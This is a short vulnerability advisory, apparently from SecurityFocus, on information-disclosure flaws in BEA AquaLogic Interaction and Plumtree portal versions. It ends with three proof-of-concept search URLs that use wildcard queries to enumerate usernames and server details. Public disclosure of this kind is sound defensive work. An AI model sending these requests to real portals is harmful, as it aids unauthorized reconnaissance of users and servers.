source: https://www.securityfocus.com/bid/26620/info
BEA AquaLogic Interaction is prone to multiple information-disclosure vulnerabilities.
Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.
The following versions are vulnerable:
BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms
BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and
